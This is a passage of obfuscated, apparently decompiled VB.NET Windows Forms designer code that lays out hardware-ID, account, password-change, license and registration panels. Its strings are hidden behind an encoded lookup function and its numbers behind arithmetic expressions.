57), Byte), Integer)) + Me.hwid_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((-96 + 110), Byte), Integer), CType(CType((253 Or 166), Byte), Integer), CType(CType((71 Or 189), Byte), Integer), CType(CType((-497 - -752), Byte), Integer)) + Me.hwid_pan.Controls.Add(Me.FutureButton3) + Me.hwid_pan.Controls.Add(Me.FutureButton2) + Me.hwid_pan.Controls.Add(Me.hwid_box) + Me.hwid_pan.FillColor = System.Drawing.Color.Transparent + Me.hwid_pan.Location = New System.Drawing.Point((-385 Xor -232), (163 Or 258)) + Me.hwid_pan.Name = ÔÕÖ((93 >> -215)) + Me.hwid_pan.NoRounding = False + Me.hwid_pan.Size = New System.Drawing.Size((-1478 + 1815), (62 Or 84)) + Me.hwid_pan.TabIndex = (-63 - -73) + Me.hwid_pan.Text = ÔÕÖ((122 >> 230)) + Me.hwid_pan.Visible = False + Me.FutureButton3.Font = New System.Drawing.Font(ÔÕÖ((274 >> 295)), 8.0!) + Me.FutureButton3.Location = New System.Drawing.Point((25 >> 225), (162 - 82)) + Me.FutureButton3.Name = ÔÕÖ((248 >> -250)) + Me.FutureButton3.Size = New System.Drawing.Size((119 Xor 324), (-416 - -444)) + Me.FutureButton3.TabIndex = (124 - 57) + Me.FutureButton3.Text = ÔÕÖ((292 >> -282)) + Me.FutureButton2.Font = New System.Drawing.Font(ÔÕÖ((354 >> 391)), 8.0!) + Me.FutureButton2.Location = New System.Drawing.Point((103 >> -541), (-89 + 137)) + Me.FutureButton2.Name = ÔÕÖ((116 + -111)) + Me.FutureButton2.Size = New System.Drawing.Size((-30 - -337), (228 >> 739)) + Me.FutureButton2.TabIndex = (-2 Xor -67) + Me.FutureButton2.Text = ÔÕÖ((439 >> -442)) + Me.hwid_box.BackColor = System.Drawing.Color.FromArgb(CType(CType((-71 + 105), Byte), Integer), CType(CType((173 - 139), Byte), Integer), CType(CType((-324 - -358), Byte), Integer)) + Me.hwid_box.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.hwid_box.Cursor = System.Windows.Forms.Cursors.Arrow + Me.hwid_box.Font = New System.Drawing.Font(ÔÕÖ((30 >> -286)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((16 >> -245), Byte)) + Me.hwid_box.ForeColor = System.Drawing.Color.White + Me.hwid_box.Location = New System.Drawing.Point((1662 >> 1063), (41 - 20)) + Me.hwid_box.Name = ÔÕÖ((88 + -80)) + Me.hwid_box.ReadOnly = True + Me.hwid_box.Size = New System.Drawing.Size((173 + 139), (-515 Xor -526)) + Me.hwid_box.TabIndex = (35 Or 11) + Me.hwid_box.TabStop = False + Me.hwid_box.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.cButton.Font = New System.Drawing.Font(ÔÕÖ((-390 + 392)), 8.0!) + Me.cButton.Location = New System.Drawing.Point((433 + -96), (126 Xor 127)) + Me.cButton.Name = ÔÕÖ((289 Xor 296)) + Me.cButton.Size = New System.Drawing.Size((-87 Xor -70), (39 - 21)) + Me.cButton.TabIndex = (-805 Xor -814) + Me.cButton.Text = ÔÕÖ((330 Xor 320)) + Me.mButton.Font = New System.Drawing.Font(ÔÕÖ((-197 + 199)), 8.0!) + Me.mButton.Location = New System.Drawing.Point((334 - 22), (288 >> 360)) + Me.mButton.Name = ÔÕÖ((-351 Xor -342)) + Me.mButton.Size = New System.Drawing.Size((307 >> -316), (145 >> 323)) + Me.mButton.TabIndex = (261 >> -219) + Me.mButton.Text = ÔÕÖ((101 >> -317)) + Me.account_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((174 - 84), Byte), Integer), CType(CType((103 >> 183), Byte), Integer), CType(CType((147 >> 179), Byte), Integer), CType(CType((121 >> -178), Byte), Integer)) + Me.account_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((680 - 666), Byte), Integer), CType(CType((250 Or 77), Byte), Integer), CType(CType((251 Or 238), Byte), Integer), CType(CType((451 - 196), Byte), Integer)) + Me.account_pan.Controls.Add(Me.FutureButton1) + Me.account_pan.Controls.Add(Me.Button14) + Me.account_pan.Controls.Add(Me.Button2) + Me.account_pan.Controls.Add(Me.Button10) + Me.account_pan.FillColor = System.Drawing.Color.Transparent + Me.account_pan.Location = New System.Drawing.Point((746 + -44), (78 Or 364)) + Me.account_pan.Name = ÔÕÖ((217 >> 100)) + Me.account_pan.NoRounding = False + Me.account_pan.Size = New System.Drawing.Size((-120 + 454), (623 >> -958)) + Me.account_pan.TabIndex = (119 >> 324) + Me.account_pan.Text = ÔÕÖ((471 >> 837)) + Me.account_pan.Visible = False + Me.FutureButton1.Font = New System.Drawing.Font(ÔÕÖ((324 >> 231)), 8.0!) + Me.FutureButton1.Location = New System.Drawing.Point((269 Xor 284), (142 - 62)) + Me.FutureButton1.Name = ÔÕÖ((124 >> 739)) + Me.FutureButton1.Size = New System.Drawing.Size((70 - -228), (451 >> 196)) + Me.FutureButton1.TabIndex = (245 Xor 183) + Me.FutureButton1.Text = ÔÕÖ((253 Xor 237)) + Me.Button14.Font = New System.Drawing.Font(ÔÕÖ((33 Xor 35)), 8.0!) + Me.Button14.Location = New System.Drawing.Point((1148 >> -922), (-149 + 263)) + Me.Button14.Name = ÔÕÖ((2249 >> 2471)) + Me.Button14.Size = New System.Drawing.Size((-3337 + 3635), (1307 + -1279)) + Me.Button14.TabIndex = (-330 Xor -265) + Me.Button14.Text = ÔÕÖ((65 >> 388)) + Me.Button2.Font = New System.Drawing.Font(ÔÕÖ((704 >> -888)), 8.0!) + Me.Button2.Location = New System.Drawing.Point((1138 >> -3258), (35 + 11)) + Me.Button2.Name = ÔÕÖ((813 + -795)) + Me.Button2.Size = New System.Drawing.Size((1764 + -1466), (135 Xor 155)) + Me.Button2.TabIndex = (-840 Xor -776) + Me.Button2.Text = ÔÕÖ((-1056 + 1075)) + Me.Button10.Font = New System.Drawing.Font(ÔÕÖ((703 >> 872)), 8.0!) + Me.Button10.Location = New System.Drawing.Point((-3092 + 3109), (1730 + -1718)) + Me.Button10.Name = ÔÕÖ((-332 Xor -352)) + Me.Button10.Size = New System.Drawing.Size((6137 + -5839), (1850 >> 4582)) + Me.Button10.TabIndex = (38 Or 63) + Me.Button10.Text = ÔÕÖ((159 + -138)) + Me.changepass_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((116 - 26), Byte), Integer), CType(CType((116 >> -111), Byte), Integer), CType(CType((144 >> 9), Byte), Integer), CType(CType((62 >> 84), Byte), Integer)) + Me.changepass_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((951 >> 166), Byte), Integer), CType(CType((8162 >> -8283), Byte), Integer), CType(CType((-6304 Xor -6241), Byte), Integer), CType(CType((13724 Xor 13667), Byte), Integer)) + Me.changepass_pan.Controls.Add(Me.Button15) + Me.changepass_pan.Controls.Add(Me.Button13) + Me.changepass_pan.Controls.Add(Me.ProgressBar4) + Me.changepass_pan.Controls.Add(Me.TextBox19) + Me.changepass_pan.Controls.Add(Me.TextBox18) + Me.changepass_pan.Controls.Add(Me.TextBox17) + Me.changepass_pan.Controls.Add(Me.TextBox16) + Me.changepass_pan.Controls.Add(Me.TextBox15) + Me.changepass_pan.Controls.Add(Me.Label12) + Me.changepass_pan.Controls.Add(Me.TextBox14) + Me.changepass_pan.Controls.Add(Me.Label11) + Me.changepass_pan.Controls.Add(Me.Label10) + Me.changepass_pan.Controls.Add(Me.Label8) + Me.changepass_pan.Controls.Add(Me.TextBox13) + Me.changepass_pan.Controls.Add(Me.Label9) + Me.changepass_pan.Controls.Add(Me.TextBox12) + Me.changepass_pan.FillColor = System.Drawing.Color.Transparent + Me.changepass_pan.Location = New System.Drawing.Point((441 Xor 775), (-182 + 232)) + Me.changepass_pan.Name = ÔÕÖ((-85 + 107)) + Me.changepass_pan.NoRounding = False + Me.changepass_pan.Size = New System.Drawing.Size((174 Xor 480), (113 - -197)) + Me.changepass_pan.TabIndex = (-593 + 599) + Me.changepass_pan.Text = ÔÕÖ((0 - -23)) + Me.changepass_pan.Visible = False + Me.Button15.Font = New System.Drawing.Font(ÔÕÖ((550 >> 1032)), 8.0!) + Me.Button15.Location = New System.Drawing.Point((4491 >> 744), (197 - -68)) + Me.Button15.Name = ÔÕÖ((35 - 11)) + Me.Button15.Size = New System.Drawing.Size((5813 - 5515), (7285 >> -5752)) + Me.Button15.TabIndex = (234 + -172) + Me.Button15.Text = ÔÕÖ((525 >> 359)) + Me.Button13.Font = New System.Drawing.Font(ÔÕÖ((762 >> 936)), 8.0!) + Me.Button13.Location = New System.Drawing.Point((4601 >> -5144), (137 Xor 110)) + Me.Button13.Name = ÔÕÖ((38 Xor 63)) + Me.Button13.Size = New System.Drawing.Size((-7088 + 7386), (7277 >> 2952)) + Me.Button13.TabIndex = (41 Or 20) + Me.Button13.Text = ÔÕÖ((251 Xor 238)) + Me.ProgressBar4.Color1 = System.Drawing.Color.FromArgb(CType(CType((6 << -768), Byte), Integer), CType(CType((-185 Xor -217), Byte), Integer), CType(CType((343 - 194), Byte), Integer)) + Me.ProgressBar4.Color2 = System.Drawing.Color.FromArgb(CType(CType((1125 >> -284), Byte), Integer), CType(CType((-183 Xor -18), Byte), Integer), CType(CType((129 - -91), Byte), Integer)) + Me.ProgressBar4.Current = 0.0R + Me.ProgressBar4.Location = New System.Drawing.Point((-332 - -352), (181 + -13)) + Me.ProgressBar4.Maximum = 100.0R + Me.ProgressBar4.Name = ÔÕÖ((209 >> 291)) + Me.ProgressBar4.Progress = 0.0R + Me.ProgressBar4.Size = New System.Drawing.Size((134 - -161), (253 - 237)) + Me.ProgressBar4.TabIndex = (39 + 21) + Me.ProgressBar4.Text = ÔÕÖ((-195 - -222)) + Me.TextBox19.BackColor = System.Drawing.Color.FromArgb(CType(CType((554 >> 932), Byte), Integer), CType(CType((-1278 - -1312), Byte), Integer), CType(CType((2205 >> -4250), Byte), Integer)) + Me.TextBox19.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox19.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox19.Font = New System.Drawing.Font(ÔÕÖ((-347 - -354)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((262 >> -176), Byte)) + Me.TextBox19.ForeColor = System.Drawing.Color.FromArgb(CType(CType((12 << -316), Byte), Integer), CType(CType((269 >> -73), Byte), Integer), CType(CType((81 >> -275), Byte), Integer)) + Me.TextBox19.Location = New System.Drawing.Point((295 + -31), (-63 Xor -241)) + Me.TextBox19.Name = ÔÕÖ((3615 >> 9959)) + Me.TextBox19.ReadOnly = True + Me.TextBox19.Size = New System.Drawing.Size((1644 >> 1253), (1478 - 1463)) + Me.TextBox19.TabIndex = (-347 Xor -354) + Me.TextBox19.TabStop = False + Me.TextBox19.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox18.BackColor = System.Drawing.Color.FromArgb(CType(CType((-6076 Xor -6042), Byte), Integer), CType(CType((17 << -2847), Byte), Integer), CType(CType((4473 >> -1337), Byte), Integer)) + Me.TextBox18.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox18.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox18.Font = New System.Drawing.Font(ÔÕÖ((171 Xor 172)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((166 >> -230), Byte)) + Me.TextBox18.ForeColor = System.Drawing.Color.FromArgb(CType(CType((-392 + 584), Byte), Integer), CType(CType((254 >> 122), Byte), Integer), CType(CType((165 >> -56), Byte), Integer)) + Me.TextBox18.Location = New System.Drawing.Point((33 << 35), (124 Or 57)) + Me.TextBox18.Name = ÔÕÖ((144 + -115)) + Me.TextBox18.ReadOnly = True + Me.TextBox18.Size = New System.Drawing.Size((-1354 - -1405), (981 >> 1126)) + Me.TextBox18.TabIndex = (7 + 51) + Me.TextBox18.TabStop = False + Me.TextBox18.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox17.BackColor = System.Drawing.Color.FromArgb(CType(CType((4441 >> 2503), Byte), Integer), CType(CType((8841 >> -4216), Byte), Integer), CType(CType((8791 >> -14712), Byte), Integer)) + Me.TextBox17.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox17.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox17.Font = New System.Drawing.Font(ÔÕÖ((245 >> -475)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((194 >> -206), Byte)) + Me.TextBox17.ForeColor = System.Drawing.Color.FromArgb(CType(CType((96 << -1471), Byte), Integer), CType(CType((136 >> -267), Byte), Integer), CType(CType((-64 << 221), Byte), Integer)) + Me.TextBox17.Location = New System.Drawing.Point((794 Xor 530), (358 Xor 310)) + Me.TextBox17.Name = ÔÕÖ((-297 - -327)) + Me.TextBox17.ReadOnly = True + Me.TextBox17.Size = New System.Drawing.Size((6645 >> 6791), (1009 >> -762)) + Me.TextBox17.TabIndex = (280 Xor 289) + Me.TextBox17.TabStop = False + Me.TextBox17.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox16.BackColor = System.Drawing.Color.FromArgb(CType(CType((17718 >> 6121), Byte), Integer), CType(CType((17731 >> -9399), Byte), Integer), CType(CType((1118 >> -3067), Byte), Integer)) + Me.TextBox16.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox16.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox16.Font = New System.Drawing.Font(ÔÕÖ((473 >> -506)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((238 >> -163), Byte)) + Me.TextBox16.ForeColor = System.Drawing.Color.FromArgb(CType(CType((6154 >> 1701), Byte), Integer), CType(CType((11 >> -230), Byte), Integer), CType(CType((233 >> -9), Byte), Integer)) + Me.TextBox16.Location = New System.Drawing.Point((794 - 530), (173 Xor 139)) + Me.TextBox16.Name = ÔÕÖ((-195 Xor -222)) + Me.TextBox16.ReadOnly = True + Me.TextBox16.Size = New System.Drawing.Size((6548 >> -4217), (-3045 Xor -3052)) + Me.TextBox16.TabIndex = (383 >> -701) + Me.TextBox16.TabStop = False + Me.TextBox16.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox15.Font = New System.Drawing.Font(ÔÕÖ((554 - 547)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((25 >> -225), Byte)) + Me.TextBox15.Location = New System.Drawing.Point((4605 >> -2072), (185 - -18)) + Me.TextBox15.Name = ÔÕÖ((147 Xor 179)) + Me.TextBox15.Size = New System.Drawing.Size((11 - -230), (725 >> 741)) + Me.TextBox15.TabIndex = (7 Or 51) + Me.TextBox15.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox15.UseSystemPasswordChar = True + Me.Label12.AutoSize = True + Me.Label12.ForeColor = System.Drawing.Color.White + Me.Label12.Location = New System.Drawing.Point((2278 >> -377), (-365 Xor -472)) + Me.Label12.Name = ÔÕÖ((88 + -55)) + Me.Label12.Size = New System.Drawing.Size((-3 + 48), (432 >> 133)) + Me.Label12.TabIndex = (14 << 546) + Me.Label12.Text = ÔÕÖ((8836 >> -19896)) + Me.TextBox14.Font = New System.Drawing.Font(ÔÕÖ((-410 + 417)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((215 >> -56), Byte)) + Me.TextBox14.Location = New System.Drawing.Point((4581 >> 8520), (343 - 221)) + Me.TextBox14.Name = ÔÕÖ((281 >> 515)) + Me.TextBox14.Size = New System.Drawing.Size((-473 Xor -298), (-629 - -651)) + Me.TextBox14.TabIndex = (274 Xor 295) + Me.TextBox14.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox14.UseSystemPasswordChar = True + Me.Label11.AutoSize = True + Me.Label11.ForeColor = System.Drawing.Color.White + Me.Label11.Location = New System.Drawing.Point((2242 >> -4089), (62 Xor 84)) + Me.Label11.Name = ÔÕÖ((-36 Xor -8)) + Me.Label11.Size = New System.Drawing.Size((-8 Xor -87), (251 - 238)) + Me.Label11.TabIndex = (243 + -189) + Me.Label11.Text = ÔÕÖ((190 - 153)) + Me.Label10.AutoSize = True + Me.Label10.ForeColor = System.Drawing.Color.White + Me.Label10.Location = New System.Drawing.Point((-2867 + 2884), (-121 + 139)) + Me.Label10.Name = ÔÕÖ((640 Xor 678)) + Me.Label10.Size = New System.Drawing.Size((1013 - 955), (446 >> 1381)) + Me.Label10.TabIndex = (39 Xor 21) + Me.Label10.Text = ÔÕÖ((190 Xor 153)) + Me.Label8.AutoSize = True + Me.Label8.ForeColor = System.Drawing.Color.White + Me.Label8.Location = New System.Drawing.Point((4562 >> 5992), (-77 Xor -213)) + Me.Label8.Name = ÔÕÖ((163 >> 258)) + Me.Label8.Size = New System.Drawing.Size((37 Or 10), (-1427 + 1440)) + Me.Label8.TabIndex = (-216 - -268) + Me.Label8.Text = ÔÕÖ((1012 - 971)) + Me.TextBox13.Font = New System.Drawing.Font(ÔÕÖ((1818 >> 1352)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((83 >> 296), Byte)) + Me.TextBox13.Location = New System.Drawing.Point((9141 >> 7017), (1232 >> 1220)) + Me.TextBox13.Name = ÔÕÖ((134 Xor 172)) + Me.TextBox13.Size = New System.Drawing.Size((-2101 Xor -2246), (720 >> 1253)) + Me.TextBox13.TabIndex = (669 + -620) + Me.TextBox13.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox13.UseSystemPasswordChar = True + Me.Label9.AutoSize = True + Me.Label9.ForeColor = System.Drawing.Color.White + Me.Label9.Location = New System.Drawing.Point((2231 >> -7193), (41 Xor 20)) + Me.Label9.Name = ÔÕÖ((-81 + 124)) + Me.Label9.Size = New System.Drawing.Size((238 + -163), (54 >> 130)) + Me.Label9.TabIndex = (6540 >> -313) + Me.Label9.Text = ÔÕÖ((186 - 142)) + Me.TextBox12.Font = New System.Drawing.Font(ÔÕÖ((999 >> 711)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((113 >> -197), Byte)) + Me.TextBox12.Location = New System.Drawing.Point((1096 >> -12378), (17414 >> -2167)) + Me.TextBox12.Name = ÔÕÖ((180 >> -734)) + Me.TextBox12.Size = New System.Drawing.Size((2972 + -2731), (151 + -129)) + Me.TextBox12.TabIndex = (339 + -291) + Me.TextBox12.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.License_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((753 + -663), Byte), Integer), CType(CType((290 >> -292), Byte), Integer), CType(CType((98 << -193), Byte), Integer), CType(CType((98 >> -193), Byte), Integer)) + Me.License_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((949 >> 134), Byte), Integer), CType(CType((16327 >> 16966), Byte), Integer), CType(CType((203 Or 55), Byte), Integer), CType(CType((130750 >> -42807), Byte), Integer)) + Me.License_pan.Controls.Add(Me.Button4) + Me.License_pan.Controls.Add(Me.Button6) + Me.License_pan.Controls.Add(Me.TextBox3) + Me.License_pan.Controls.Add(Me.Label3) + Me.License_pan.FillColor = System.Drawing.Color.Transparent + Me.License_pan.Location = New System.Drawing.Point((442 + -83), (761 + -466)) + Me.License_pan.Name = ÔÕÖ((243 + -197)) + Me.License_pan.NoRounding = False + Me.License_pan.Size = New System.Drawing.Size((-1709 Xor -2046), (-63 Xor -73)) + Me.License_pan.TabIndex = (-300 - -305) + Me.License_pan.Text = ÔÕÖ((37 Xor 10)) + Me.License_pan.Visible = False + Me.Button4.Font = New System.Drawing.Font(ÔÕÖ((1049 >> -887)), 8.0!) + Me.Button4.Location = New System.Drawing.Point((950 >> -1658), (-155 - -238)) + Me.Button4.Name = ÔÕÖ((358 + -310)) + Me.Button4.Size = New System.Drawing.Size((169 - -136), (46 >> 769)) + Me.Button4.TabIndex = (330 - 320) + Me.Button4.Text = ÔÕÖ((64 >> 580)) + Me.Button6.Font = New System.Drawing.Font(ÔÕÖ((1160 >> 713)), 8.0!) + Me.Button6.Location = New System.Drawing.Point((1833 >> 3239), (1574 - 1520)) + Me.Button6.Name = ÔÕÖ((1581 >> -1403)) + Me.Button6.Size = New System.Drawing.Size((-112 + 417), (216 Xor 207)) + Me.Button6.TabIndex = (6 >> -768) + Me.Button6.Text = ÔÕÖ((25 << 225)) + Me.TextBox3.BackColor = System.Drawing.Color.Beige + Me.TextBox3.Font = New System.Drawing.Font(ÔÕÖ((1881 >> 1704)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((38 << 63), Byte)) + Me.TextBox3.Location = New System.Drawing.Point((3620 >> 3560), (430 >> -444)) + Me.TextBox3.Name = ÔÕÖ((6649 >> -1337)) + Me.TextBox3.Size = New System.Drawing.Size((154 - -151), (724 >> 1989)) + Me.TextBox3.TabIndex = (-654 Xor -646) + Me.TextBox3.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.Label3.AutoSize = True + Me.Label3.BackColor = System.Drawing.Color.FromArgb(CType(CType((17581 >> 5833), Byte), Integer), CType(CType((17628 >> -9751), Byte), Integer), CType(CType((17611 >> 22217), Byte), Integer)) + Me.Label3.ForeColor = System.Drawing.Color.White + Me.Label3.Location = New System.Drawing.Point((1054 >> -922), (129 Xor 139)) + Me.Label3.Name = ÔÕÖ((7 Xor 51)) + Me.Label3.Size = New System.Drawing.Size((-416 Xor -444), (1680 >> -1657)) + Me.Label3.TabIndex = (-805 - -814) + Me.Label3.Text = ÔÕÖ((107 >> 385)) + Me.Register_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((5701 + -5611), Byte), Integer), CType(CType((38 >> 63), Byte), Integer), CType(CType((126 << 127), Byte), Integer), CType(CType((126 >> 127), Byte), Integer)) + Me.Register_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((3609 >> -1624), Byte), Integer), CType(CType((130760 >> 111081), Byte), Integer), CType(CType((130596 >> 135369), Byte), Integer), CType(CType((130695 >> 125097), Byte), Integer)) + Me.Register_pan.Controls.Add(Me.TextBox20) + Me.Register_pan.Controls.Add(Me.Button3) + Me.Register_pan.Controls.Add(Me.Button9) + Me.Register_pan.Controls.Add(Me.Button5) + Me.Register_pan.Controls.Add(Me.ProgressBar1) + Me.Register_pan.Controls.Add(Me.Label13) + Me.Register_pan.Controls.Add(Me.TextBox21) + Me.Register_pan.Controls.Add(Me.TextBox11) + Me.Register_pan.Controls.Add(Me.TextBox10) + Me.Register_pan.Controls.Add(Me.Label4) + Me.Register_pan.Controls.Add(Me.Label5) + Me.Register_pan.Controls.Add(Me.Label6) + Me.Register_pan.Controls.Add(Me.TextBox5) + Me.Register_pan.Controls.Add(Me.TextBox4) + Me.Register_pan.FillColor = System.Drawing.Color.Transparent + Me.Register_pan.Location = New System.Drawing.Point((5745 >> -5724), (457 - 407)) + Me.Register_pan.Name = ÔÕÖ((1729 >> -2619)) + Me.Register_pan.NoRounding = False + Me.Register_pan.Size = New System.Drawing.Size((-1709 - -2046), (80 Xor 190)) + Me.Register_pan.TabIndex = (17 >> 322) + Me.Register_pan.Text = ÔÕÖ((39 Or 21)) + Me.Register_pan.Visible = False + Me.TextBox20.BackColor = System.Drawing.Color.FromArgb(CType(CType((8765 >> 16968), Byte), Integer), CType(CType((4453 >> -2649), Byte), Integer), CType(CType((17875 >> -14679), Byte), Integer)) + Me.TextBox20.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox20.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox20.Font = New System.Drawing.Font(ÔÕÖ((481 >> 102)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((172 >> -80), Byte)) + Me.TextBox20.ForeColor = System.Drawing.Color.FromArgb(CType(CType((3767 - 3575), Byte), Integer), CType(CType((59 >> -106), Byte), Integer), CType(CType((162 >> 82), Byte), Integer)) + Me.TextBox20.Location = New System.Drawing.Point((174 + 84), (-7 Xor -171)) + Me.TextBox20.Name = ÔÕÖ((-439 + 495)) + Me.TextBox20.ReadOnly = True + Me.TextBox20.Size = New System.Drawing.Size((5703 + -5652), (2027 >> 1287)) + Me.TextBox20.TabIndex = (534 - 486) + Me.TextBox20.TabStop = False + Me.TextBox20.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.Button3.Font = New System.Drawing.Font(ÔÕÖ((327 >> -25)), 8.0!) + Me.Button3.Location = New System.Drawing.Point((2136 >> 295), (142 + 62)) + Me.Button3.Name = ÔÕÖ((-274 + 331)) + Me.Button3.Size = New System.Drawing.Size((93 - -215), (737 Xor 763)) + Me.Button3.TabIndex = (37 + 10) + Me.Button3.Text = ÔÕÖ((315 >> -988)) + Me.Button9.Font = New System.Drawing.Font(ÔÕÖ((369 >> 295)), 8.0!) + Me.Button9.Location = New System.Drawing.Point((18 Xor 235), (-2031 Xor -1956)) + Me.Button9.Name = ÔÕÖ((1141 Xor 1103)) + Me.Button9.Size = New System.Drawing.Size((151 >> 1249), (2907 >> -345)) + Me.Button9.TabIndex = (512 + -466) + Me.Button9.Text = ÔÕÖ((33 >> 35)) + Me.Button5.Font = New System.Drawing.Font(ÔÕÖ((1298 >> -119)), 8.0!) + Me.Button5.Location = New System.Drawing.Point((25 Or 225), (2239 >> 20934)) + Me.Button5.Name = ÔÕÖ((188 + -129)) + Me.Button5.Size = New System.Drawing.Size((-1671 Xor -1742), (1374 + -1352)) + Me.Button5.TabIndex = (-933 - -978) + Me.Button5.Text = ÔÕÖ((122 + -62)) + Me.ProgressBar1.Color1 = System.Drawing.Color.FromArgb(CType(CType((805 >> 999), Byte), Integer), CType(CType((-42 - -138), Byte), Integer), CType(CType((8 Xor 157), Byte), Integer)) + Me.ProgressBar1.Color2 = System.Drawing.Color.FromArgb(CType(CType((565 >> 451), Byte), Integer), CType(CType((347 - 180), Byte), Integer), CType(CType((-670 - -890), Byte), Integer)) + Me.ProgressBar1.Current = 0.0R + Me.ProgressBar1.Location = New System.Drawing.Point((1237 >> 1094), (-144 Xor -245)) + Me.ProgressBar1.Maximum = 100.0R + Me.ProgressBar1.Name = ÔÕÖ((41 + 20)) + Me.ProgressBar1.Progress = 0.0R + Me.ProgressBar1.Size = New System.Drawing.Size((-646 Xor -949), (378 >> -1404)) + Me.ProgressBar1.TabIndex = (383 >> -154) + Me.ProgressBar1.Text = ÔÕÖ((524 + -462)) + Me.Label13.AutoSize = True + Me.Label13.ForeColor = System.Drawing.Color.White + Me.Label13.Location = New System.Drawing.Point((1077 >> -1594), (610 >> -542)) + Me.Label13.Name = ÔÕÖ((323 - 260)) + Me.Label13.Size = New System.Drawing.Size((129 + -91), (223 >> 2180)) + Me.Label13.TabIndex = (-424 - -468) + Me.Label13.Text = ÔÕÖ((1032 >> 260)) + Me.TextBox21.BackColor = System.Drawing.Color.Beige + Me.TextBox21.Font = New System.Drawing.Font(ÔÕÖ((-715 - -722)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((88 >> -55), Byte)) + Me.TextBox21.Location = New System.Drawing.Point((2048 >> 679), (88 - -80)) + Me.TextBox21.Name = ÔÕÖ((-2 - -67)) + Me.TextBox21.Size = New System.Drawing.Size((-78 Xor -162), (2923 >> 2535)) + Me.TextBox21.TabIndex = (-324 Xor -358) + Me.TextBox21.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox11.BackColor = System.Drawing.Color.FromArgb(CType(CType((17795 >> -5655), Byte), Integer), CType(CType((4405 >> -25401), Byte), Integer), CType(CType((-10613 Xor -10583), Byte), Integer)) + Me.TextBox11.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox11.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox11.Font = New System.Drawing.Font(ÔÕÖ((1809 >> 744)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((231 >> -85), Byte)) + Me.TextBox11.ForeColor = System.Drawing.Color.FromArgb(CType(CType((6145 >> 7109), Byte), Integer), CType(CType((164 >> -267), Byte), Integer), CType(CType((232 >> -5), Byte), Integer)) + Me.TextBox11.Location = New System.Drawing.Point((-2265 + 2457), (642 Xor 722)) + Me.TextBox11.Name = ÔÕÖ((-391 + 457)) + Me.TextBox11.ReadOnly = True + Me.TextBox11.Size = New System.Drawing.Size((816 >> 8676), (991 >> -90)) + Me.TextBox11.TabIndex = (40 Or 3) + Me.TextBox11.TabStop = False + Me.TextBox11.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox10.BackColor = System.Drawing.Color.FromArgb(CType(CType((17689 >> -33271), Byte), Integer), CType(CType((17528 >> 23753), Byte), Integer), CType(CType((34848 >> 25962), Byte), Integer)) + Me.TextBox10.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox10.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox10.Font = New System.Drawing.Font(ÔÕÖ((1913 >> -1176)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((137 >> -333), Byte)) + Me.TextBox10.ForeColor = System.Drawing.Color.FromArgb(CType(CType((3083 >> 68), Byte), Integer), CType(CType((137 >> 110), Byte), Integer), CType(CType((143 >> -274), Byte), Integer)) + Me.TextBox10.Location = New System.Drawing.Point((6160 >> 773), (200 Xor 237)) + Me.TextBox10.Name = ÔÕÖ((118 - 51)) + Me.TextBox10.ReadOnly = True + Me.TextBox10.Size = New System.Drawing.Size((6651 >> 7239), (3985 >> 1672)) + Me.TextBox10.TabIndex = (261 + -219) + Me.TextBox10.TabStop = False + Me.TextBox10.TextAlign = 